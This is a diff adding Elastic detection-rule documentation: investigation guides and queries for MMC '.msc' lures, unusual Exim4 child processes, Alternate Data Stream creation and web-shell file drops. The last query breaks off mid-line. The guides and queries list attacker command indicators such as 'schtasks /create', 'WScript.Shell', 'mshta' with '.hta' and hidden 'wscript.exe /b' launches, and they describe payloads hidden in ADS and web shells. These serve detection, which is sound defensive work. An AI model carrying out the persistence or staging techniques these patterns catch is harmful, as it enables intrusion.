winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.genians.co.kr/blog/threat_intelligence/facebook + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Execution via Microsoft Common Console File* + + + +*Possible investigation steps* + + +- What ".msc" path and immediate child process triggered the alert? + - Focus: `process.parent.executable`, `process.parent.args`, `process.parent.command_line`, `process.executable`, and `process.command_line`. + - Implication: escalate when "mmc.exe" opens a user-writable, download, cloud-sync, archive-extraction, or document-like ".msc" and the child is a shell, script host, "mshta.exe", "schtasks.exe", or another LOLBin; lower suspicion only when the exact ".msc" path and child command fit a recognized administrative console workflow on this host. + +- Does the child command line expose second-stage or persistence intent? + - Focus: `process.command_line`, checking for "WScript.Shell", "schtasks /create", "OneDriveUpdate", "wscript.exe /b", "start /min", "mshta", ".hta", remote URLs, or script/batch names. + - Hint: review same-child file and network events for staged scripts, task artifacts, or remote retrieval. Missing network telemetry is unresolved, not benign. !{investigate{"description":"","label":"File and network events for the MMC-launched child","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the command creates tasks, hides/minimizes execution, starts script hosts, or embeds remote retrieval; lower suspicion only when the arguments perform a narrow helper action expected from the same console. + +- Does the child identity and session context fit expected administration? + - Focus: `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, `process.Ext.relative_file_creation_time`, and the `user.id` + `host.id` pair. + - Implication: escalate when the child runs from a user-writable or recently created path, has a signer mismatch, or appears under an unexpected administrative user/session; identity confirmation alone never clears an unsafe command line. + +- Do descendants continue the MSC-launched chain into scripting, tasks, or delayed execution? + - Why: MSC lures can store task commands that create a scheduled task, run VBS, then launch HTA through "mshta.exe"; the first child may be only the handoff. + - Focus: descendant starts on the same `host.id`, linked by `process.parent.entity_id` or `process.Ext.ancestry`, checking `process.name` and `process.command_line`. !{investigate{"description":"","label":"Descendant processes from the MMC-launched child","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if entity linkage is absent, match `process.parent.pid` to the alerting `process.pid` within a tight alert-time window and treat matches as weaker. + - Hint: after a suspicious descendant, expand that descendant's file and network events from Timeline. + - Implication: escalate when descendants show "cmd.exe", "wscript.exe", "cscript.exe", "mshta.exe", "powershell.exe", "pwsh.exe", "schtasks.exe", repeated shells, Microsoft-themed task names, or command-line URLs; lower suspicion when the tree ends at one expected helper with no delayed script or task process. + +- If local evidence remains suspicious or unresolved, what related alerts change scope or containment? + - Focus: related alerts for the same `user.id`, especially document delivery, script execution, task creation, or outbound staging. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: review same-`host.id` alerts to separate one-host lure execution from repeated activity across assets. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden containment when the same user or host also shows initial-access, script-host, scheduled-task, or outbound-staging alerts; keep response local when those alerts are absent, but leave benign closure to the process-chain synthesis. + +- Escalate for lure-driven ".msc" execution, script staging, scheduled-task creation, remote retrieval, or suspicious descendants; close only when alert-local evidence and process recovery bind one exact recognized console workflow with no contradictory descendants; preserve artifacts and escalate when evidence is mixed or visibility incomplete. + + +*False positive analysis* + + +- Custom administrative consoles, vendor MMC snap-ins, or IT troubleshooting bundles stored outside default Windows console paths can launch helpers, browsers, viewers, or support utilities. Confirm that `process.parent.args`, `process.parent.command_line`, `process.executable`, `process.command_line`, `process.code_signature.subject_name`, `user.id`, and `host.id` all align with one exact console package or affected cohort. If inventory, ticketing, or owner confirmation is unavailable, close only when process and descendant telemetry still prove that helper workflow with no unresolved script, task, hidden execution, or remote-retrieval behavior. +- Before creating an exception, validate prior alerts from this rule for the same ".msc" path in `process.parent.args`, child `process.executable`, signer in `process.code_signature.subject_name`, stable `process.command_line`, and bounded `user.id` and `host.id` scope. Build the exception from that full workflow pattern; avoid exceptions on `process.parent.name` value "mmc.exe" or the child `process.executable` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the exact ".msc" path, child command pattern, signer, `user.id`, and `host.id`. Create an exception only after the same workflow pattern recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve a case export for the alerting process instance (`host.id` plus `process.entity_id` or `process.pid` and alert time), the parent MSC path, child and descendant command lines, executable hash/signer, task names, script names, and URLs visible in command lines before making destructive changes. Apply reversible containment first, such as temporary URL/domain blocking, disabling a newly created scheduled task after preserving its command, or heightened monitoring on the affected `host.id` and `user.id`. +- If confirmed malicious, isolate the host or contain the affected account only after preserving the process chain, scheduled-task names, script names, hashes, and command-line indicators. Terminate malicious child or descendant processes after preservation, block confirmed command-line URLs or domains, and hand off the preserved artifact set if endpoint response is unavailable. +- Eradicate only the malicious ".msc", scripts, scheduled tasks, and staged payloads identified during the investigation, then remediate the delivery path that let the lure execute. Review related hosts and users for the same `process.parent.args` path or descendant `process.command_line` pattern before broad cleanup. +- Post-incident hardening: restrict or warn on ".msc" launches from user-writable, download, archive-extraction, or cloud-sync paths, and retain process lineage and command-line telemetry needed to distinguish future admin consoles from MSC lures. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.executable : "?:\\Windows\\System32\\mmc.exe" and endswith~(process.parent.args, ".msc") and + not ( + process.parent.args : ( + "?:\\Windows\\System32\\*.msc", + "?:\\Windows\\SysWOW64\\*.msc", + "?:\\Program files\\*.msc", + "?:\\Program Files (x86)\\*.msc" + ) or + ( + process.executable : "?:\\Windows\\System32\\mmc.exe" and + process.command_line : "\"C:\\WINDOWS\\system32\\mmc.exe\" \"C:\\Windows\\System32\\gpme.msc\" /s /gpobject:\"LDAP://*" + ) or + ( + process.executable : ( + "?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", + "?:\\Program Files\\Mozilla Firefox\\firefox.exe", + "?:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", + "?:\\Program Files\\internet explorer\\iexplore.exe" + ) and + process.args : "http*://go.microsoft.com/fwlink/*" + ) or + process.executable : ( + "?:\\Windows\\System32\\vmconnect.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\System32\\wermgr.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: MMC +** ID: T1218.014 +** Reference URL: https://attack.mitre.org/techniques/T1218/014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-exim4-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-exim4-child-process.asciidoc new file mode 100644 index 0000000000..1d53810864 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-exim4-child-process.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-34-unusual-exim4-child-process]] +=== Unusual Exim4 Child Process + +This rule detects the execution of unusual commands via a descendant process of exim4. Attackers may use descendant processes of exim4 to evade detection and establish persistence or execute post-exploitation commands on a target system. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.qualys.com/2021/05/04/21nails/21nails.txt +* https://blog.qualys.com/vulnerabilities-threat-research/2021/05/04/21nails-multiple-vulnerabilities-in-exim-mail-server + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Exim4 Child Process* + + +Exim4 is a widely used mail transfer agent on Linux systems, responsible for routing and delivering email. Adversaries may exploit Exim4 by spawning unexpected child processes to execute malicious commands, thereby evading detection and maintaining persistence. The detection rule identifies suspicious child processes initiated by Exim4, excluding known legitimate processes, to flag potential misuse. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific unusual child process name and command line arguments that were executed under the parent process exim4. +- Examine the process tree to understand the hierarchy and context of the spawned process, including any sibling or child processes that may indicate further malicious activity. +- Check the user account associated with the exim4 process to determine if it aligns with expected usage patterns or if it might be compromised. +- Investigate the source and destination of any network connections initiated by the unusual child process to identify potential data exfiltration or command and control activity. +- Analyze system logs around the time of the alert to identify any related events or anomalies that could provide additional context or evidence of compromise. +- Correlate the findings with other alerts or incidents in the environment to determine if this activity is part of a broader attack campaign. + + +*False positive analysis* + + +- Development tools like cmake, gcc, and cppcheck may trigger false positives if they are used in environments where Exim4 is installed. To mitigate this, ensure these tools are included in the exclusion list if they are part of regular development activities. +- System maintenance scripts that utilize commands such as readlink, grep, and stat might be flagged. Review these scripts and add them to the exclusion list if they are verified as part of routine system operations. +- Automated deployment or configuration management tools that invoke systemctl or update-exim4.conf can be mistaken for suspicious activity. Confirm these processes are legitimate and add them to the exclusion list to prevent unnecessary alerts. +- If Exim4 is used in conjunction with SSH services, processes like sshd may appear as child processes. Verify the legitimacy of these connections and exclude them if they are part of expected behavior. +- Regularly review and update the exclusion list to reflect changes in system operations or new legitimate processes that may arise, ensuring the rule remains effective without generating excessive false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious child processes of Exim4 that are not recognized as legitimate, using process management tools like `kill` or `pkill`. +- Conduct a thorough review of the Exim4 configuration files and scripts to identify unauthorized modifications or additions, and restore them from a known good backup if necessary. +- Scan the system for additional indicators of compromise, such as unauthorized user accounts or scheduled tasks, and remove any malicious artifacts found. +- Apply security patches and updates to Exim4 and the operating system to mitigate known vulnerabilities that could be exploited by attackers. +- Monitor the system for any recurrence of unusual Exim4 child processes and adjust logging and alerting to capture detailed information for further analysis. +- Escalate the incident to the security operations team for a comprehensive investigation and to determine if other systems in the network may be affected. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.type:start and event.action:exec and process.parent.name:exim4 and +not process.name:( + exim4 or start-stop-daemon or run-parts or systemctl or update-exim4.conf or install or plymouth or + readlink or grep or stat or cmake or gcc or cppcheck or sort or sshd +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-file-creation-alternate-data-stream.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-file-creation-alternate-data-stream.asciidoc new file mode 100644 index 0000000000..8bd4736150 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-file-creation-alternate-data-stream.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-unusual-file-creation-alternate-data-stream]] +=== Unusual File Creation - Alternate Data Stream + +Identifies suspicious creation of Alternate Data Streams on highly targeted files using a script or command interpreter. This is uncommon for legitimate files and sometimes done by adversaries to hide malware. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 325 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual File Creation - Alternate Data Stream* + + +*Possible investigation steps* + + +- What ADS target did the alert create? + - Focus: `file.path`, `file.extension`, `file.size`, and the stream suffix after the base file. + - Implication: escalate when a command or script interpreter writes ADS on an executable, script, user document, or disk-image host file with a payload-like, DLL-like, or config-like stream name; lower concern only when stream name and file class match a narrow classification, tagging, or packaging marker. + +- Does stream metadata or collected content look like payload material? + - Focus: `file.size`, `file.Ext.header_bytes`, `file.Ext.entropy`, and collected ADS content when available. + - Hint: retrieve raw ADS content with "Get-Content -Path -Stream " or collect the host file before cleanup; without content, do not close from absence. + - Implication: escalate for script text, encoded blobs, PE bytes, launcher syntax, or execution configuration; if content cannot be recovered, keep unresolved unless lineage, staging, or reuse proves the answer. Lower concern requires small, readable classification, package, validation, or test metadata. + +- How was the creating interpreter launched? + - Focus: `process.executable`, `process.command_line`, `process.parent.executable`, `process.parent.command_line`, and `process.code_signature.subject_name`. !{investigate{"description":"","label":"Process events for the same process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when launched by a document, browser, user-writable binary, unusual parent command, or command line that writes hidden content; lower concern when identity, parent, command line, and user-host scope match a recognized tagging, packaging, or validation workflow. + +- Did the creating process stage, rename, or clean up supporting files? + - Focus: same-process file events on `host.id` and `process.entity_id`: `file.path`, `file.extension`, and `file.size`. !{investigate{"description":"","label":"File events for the same process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the same process drops executables or scripts, renames content into a deceptive path, deletes staging material, or writes related ADS artifacts; lower concern when file activity stays limited to the expected file set and stream metadata pattern. + +- Did later commands reuse the ADS path or base file? + - Why: ADS creation becomes decisive when a later command uses file:path:stream syntax or a helper consumes hidden content. + - Focus: later process events on `host.id` and `user.id` where `process.command_line` references the ADS path, base path, or stream name; include `process.executable` and `process.parent.executable`. !{investigate{"description":"","label":"Process events for the same host and user","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: search first for the literal ADS path, then the base path and stream name separately if quoting or escaping differs. + - Implication: escalate when later commands read, execute, copy, extract, or persist from ADS; if no reuse appears, keep unresolved unless content and lineage prove benign metadata use. + +- Does the ADS pattern recur broadly enough to change scope? + - Focus: smallest stable suspicious indicator, such as stream name, `file.path` pattern, `process.executable`, or `process.command_line`, plus `host.id` and `user.id` scope. + - Hint: review host-related alerts for matching ADS or interpreter patterns. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: review user-related alerts before treating activity as one-host. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden containment and scoping when unrelated hosts or users share the ADS pattern; keep scope local only when local content, lineage, and reuse are resolved or the pattern remains confined to one unresolved host. + +- Escalate for hidden payload staging, ADS execution, suspicious cleanup, or spread beyond the first host; close only when ADS path/content, command lines, parent lineage, same-process file activity, and `host.id`/`user.id` scope prove one exact marker-writing or lab workflow with no contradictory reuse; preserve artifacts and escalate when answers stay mixed or incomplete. + + +*False positive analysis* + + +- Data-classification, packaging, or validation tools can legitimately create small ADS markers on fixed file classes. Confirm identity (`process.executable`, `process.code_signature.subject_name`, parent command line), artifacts (`file.path`, stream name, readable marker content), and scope (`host.id`, `user.id`, host cohort) all align with one exact workflow; if workflow records are unavailable, require prior alerts with the same process identity, parent command line, stream name, file class, and host cohort. +- Controlled security testing or forensic labs can place samples or markers in ADS on isolated systems. Confirm the same `process.executable`, `process.command_line`, `file.path`, stream name, and lab host cohort, and no later execution or persistence from ADS; if test plans are unavailable, require repeated bounded testing patterns. Do not create exceptions on `process.name` or `file.extension` alone. + + +*Response and remediation* + + +- If confirmed benign: + - Document the evidence that established the workflow before changing response state: `process.executable`, `process.command_line`, parent command line, `file.path` pattern, stream name, stream content type, and the `host.id` or `host.name` cohort. Then reverse temporary containment. Build exceptions only from the minimum confirmed pattern, not from a generic interpreter or file-extension condition. +- If suspicious but unconfirmed: + - Preserve the exact ADS path, base host file, recovered stream content or computed hash, process timeline, `process.entity_id`, `process.pid`, `process.command_line`, `process.parent.command_line`, and same-process file events before cleanup. + - Apply reversible containment tied to the findings, such as heightened monitoring, execution restrictions for the affected interpreter, or temporary containment of the affected `host.id`; avoid deleting the stream or base file until evidence is collected. + - Escalate to host isolation only if ADS reuse, payload-like content, suspicious cleanup, or continued staging shows active risk and the asset can tolerate isolation. +- If confirmed malicious: + - Use endpoint response to isolate the host after preserving the ADS path, base file, stream content, process timeline, command lines, parent lineage, and related file artifacts. If direct endpoint response is unavailable, hand off that evidence set to the team that can contain the host. + - Review other hosts and users for the same stream name, ADS path pattern, `process.executable`, or `process.command_line` before deleting the stream, removing the base file, or terminating related processes. + - Remove the malicious stream, launched payloads, staging files, and the entry vector that created them, then remediate any persistence or delivery path identified during the investigation. +- Post-incident hardening: + - Keep process and file telemetry enabled for the affected host class, and record recurring ADS naming or interpreter patterns for future triage. + - Restrict or monitor interpreter workflows that create ADS on high-value file types when that behavior is not required for the host role. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-15-setup[Sysmon Event ID 15 - FileCreateStreamHash] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "creation" and + process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "mshta.exe", "wscript.exe", "cscript.exe", "node.exe", "python*.exe") and + file.extension in~ ( + "pdf", "dll", "exe", "dat", "com", "bat", "cmd", "sys", "vbs", "vbe", "ps1", "hta", "txt", "js", "jse", + "wsh", "wsf", "sct", "docx", "doc", "xlsx", "xls", "pptx", "ppt", "rtf", "gif", "jpg", "png", "bmp", "img", "iso" + ) and + file.path : "C:\\*:*" and + not file.name :("*:$DATA", "*PG$Secure", "*Zone.Identifier", "*com.apple.lastuseddate#PS", "*com.apple.provenance") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: NTFS File Attributes +** ID: T1564.004 +** Reference URL: https://attack.mitre.org/techniques/T1564/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-file-creation-via-web-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-file-creation-via-web-server.asciidoc new file mode 100644 index 0000000000..1f2ad0c3a8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-file-creation-via-web-server.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-34-unusual-file-creation-via-web-server]] +=== Unusual File Creation via Web Server + +This rule leverages the "new_terms" rule type to detect unusual file creations originating from web server processes on Linux systems. Attackers may exploit web servers to maintain persistence on a compromised system, often resulting in atypical file creations. As file creations from web server processes are common, the "new_terms" rule type approach helps to identify deviations from normal behavior. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Domain: Web +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Command and Control +* Tactic: Initial Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Slow +* Profile: Aggressive +* Threat: Web Shell +* Rule Type: New Terms +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual File Creation via Web Server* + + +This alert flags a Linux web server process creating or renaming a file in web content or application directories that it does not normally touch, which can reveal a compromised service writing attacker-controlled content. That matters because web-facing processes rarely need to drop new executable or template files outside normal deployment activity. A common pattern is an intruder exploiting a vulnerable upload handler or plugin to place a web shell, JSP, PHP, or script-backed page under the site root for persistent remote access. + + +*Possible investigation steps* + + +- Determine whether the file aligns with an approved deployment, plugin or theme update, package installation, or administrator change in the same time window by reviewing change records and system update history. +- Inspect the file contents, hash, ownership, permissions, and timestamps for signs of a web shell, dropped payload, hidden redirect, or script stager, and compare it with known-good application files from the same host or image. +- Review the web service's parent and child activity around the event for spawned shells, interpreters, archive extraction, or permission changes that would indicate exploitation followed by payload execution or persistence setup. +- Correlate nearby web access, reverse-proxy, and application log events to identify suspicious upload, template-edit, admin-panel, deserialization, or remote-code-execution requests immediately before the file appeared and any follow-up requests to the new file. +- Scope the compromise by searching the host and peer web servers for similarly named files, unexpected cron or systemd persistence, modified startup scripts, or outbound connections made by the web service account after the creation event. + + +*False positive analysis* + + +- Approved application deployment, patching, or first-run initialization can cause the web server or application server to create new files in the web root, so verify the event time against authorized change activity and confirm the file path, owner, and hash match the expected release contents. +- Legitimate web application features such as user uploads or automatic generation of images, media, attachments, or cache files can create new content under upload-facing directories, so review nearby web or application requests and confirm the file extension, location, and contents are consistent with normal business use. + + +*Response and remediation* + + +- Isolate the affected web server from the internet and internal network, remove it from the load balancer, and temporarily disable the compromised site or virtual host while keeping only secured management access for containment. +- Eradicate attacker persistence by deleting the malicious web shell or dropped script, removing any unauthorized cron jobs, systemd units, startup scripts, SSH keys, or writable symlinks created by the web service account, and disabling any backdoored application user or admin account. +- Restore the service to a known-good state by rebuilding the host from a trusted image or redeploying the application from clean source, recovering web content and configuration from a verified backup taken before the file appeared, and validating expected ownership and permissions across the web root. +- Rotate all secrets exposed to the host, including web application credentials, API tokens, database passwords, and TLS private keys, and invalidate active sessions or cookies if the malicious file could have intercepted user or administrator access. +- Escalate to incident response immediately if you find the same malicious file on multiple web servers, observe the web process spawning a shell or making outbound command-and-control connections, or confirm access to databases, payment data, or domain credentials. +- Harden the environment by patching the exploited CMS, plugin, framework, or server component, restricting the web service account to only required write paths, disabling script execution in upload directories, and adding detections for new executable or template files under the web root. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:linux and event.action:(creation or rename) and ( + process.name: ( + "nginx" or "apache2" or "httpd" or "caddy" or "lighttpd" or "httpd.worker" or "httpd-worker" or "httpd-prefork" or + "php-cgi" or "php-fcgi" or "php-cgi.cagefs" or "frankenphp" or "lshttpd" or "litespeed" or "openlitespeed" or + "fcgiwrap" or "uwsgi" or "daphne" or "uvicorn" or "hypercorn" or "granian" or "waitress-serve" or "flask" or + "puma" or "unicorn" or "unicorn_rails" or "thin" or "rackup" or "mongrel_rails" or "starman" or "plackup" or + "twiggy" or "hypnotoad" or "starlet" or "unitd" or "unitd-debug" or php-fpm* or lsphp* or gunicorn* or + "nginx3" or "apache" or *.cgi or *.fcgi + ) or + (process.name: "java" and file.extension: ("jsp" or "jspx" or "jspf" or "tag" or "tagx" or "war" or "ear")) or + (process.name: ("node" or "nodejs") and 